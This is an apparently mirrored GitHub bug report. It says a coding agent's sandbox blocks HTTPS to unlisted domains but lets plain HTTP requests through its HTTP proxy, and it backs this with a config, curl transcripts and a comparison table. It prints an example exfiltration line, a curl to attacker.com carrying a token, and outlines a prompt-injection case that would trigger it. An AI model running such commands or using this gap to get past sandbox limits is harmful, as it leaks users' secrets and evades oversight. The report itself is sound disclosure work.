Sandbox: allowedDomains not enforced for plain HTTP — only HTTPS CONNECT is filtered

Resolved 💬 4 comments Opened Mar 28, 2026 by gsalakirov Closed Apr 29, 2026

Summary

sandbox.network.allowedDomains filters HTTPS traffic (CONNECT tunnel stalls for unauthorized domains) but does not filter plain HTTP requests. Any process inside the sandbox can curl http://unauthorized-domain.com and get a full response. The proxy sees the Host header and has the information to filter — it just doesn't.

This is inconsistent with the SOCKS proxy, which correctly blocks both HTTP and HTTPS to unauthorized domains.

Why this matters

The sandbox is a key mitigation against prompt injection exfiltration. A malicious prompt can instruct Claude to run:

curl "http://attacker.com/log?token=SENSITIVE_VALUE"

This reaches the external server — the full URL including query params. Any tool that respects HTTP_PROXY (not just curl) can exfiltrate via this path.

Reproduction

{
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": ["*.home.salakirov.com", "192.168.10.90"]
    }
  }
}
# HTTPS — correctly blocked
$ curl -sv --max-time 10 https://example.com
> CONNECT example.com:443 HTTP/1.1
< HTTP/1.1 200 Connection Established
# ... then stalls, TLS never completes, times out

# HTTP — not filtered, response returned
$ curl -sv --max-time 10 http://example.com
> GET http://example.com/ HTTP/1.1
> Host: example.com
< HTTP/1.1 200 OK
< server: cloudflare
< cf-ray: 9e35fb93ee551c0a-AMS
# Full response body returned

The Host: example.com header is visible to the proxy. The cf-ray header in the response confirms the request reached Cloudflare.

Inconsistency with SOCKS proxy

The sandbox sets both an HTTP proxy and a SOCKS proxy. The SOCKS proxy correctly blocks unauthorized domains for both HTTP and HTTPS:

| Channel | Domain filtered? |
|---------|-----------------|
| HTTPS via HTTP proxy (CONNECT) | Yes — tunnel stalls |
| HTTP via HTTP proxy (forward) | No — request forwarded, response returned |
| HTTPS via SOCKS proxy | Yes — connection times out |
| HTTP via SOCKS proxy | Yes — connection times out |
| Direct TCP | Yes — Seatbelt kernel block |

The HTTP proxy is the only path where allowedDomains is not enforced.

Expected behavior

Plain HTTP requests to domains not in allowedDomains should be rejected by the proxy (connection refused, 403, or similar), consistent with HTTPS CONNECT behavior and the SOCKS proxy.

Workaround

I added domain filtering to a PreToolUse hook that checks curl URLs against a local allowlist before the command runs.

Environment

  • macOS 26.4, Apple Silicon (M2 Pro)
  • Claude Code 2.1.86

View original on GitHub ↗

This issue has 4 comments on GitHub. Read the full discussion on GitHub ↗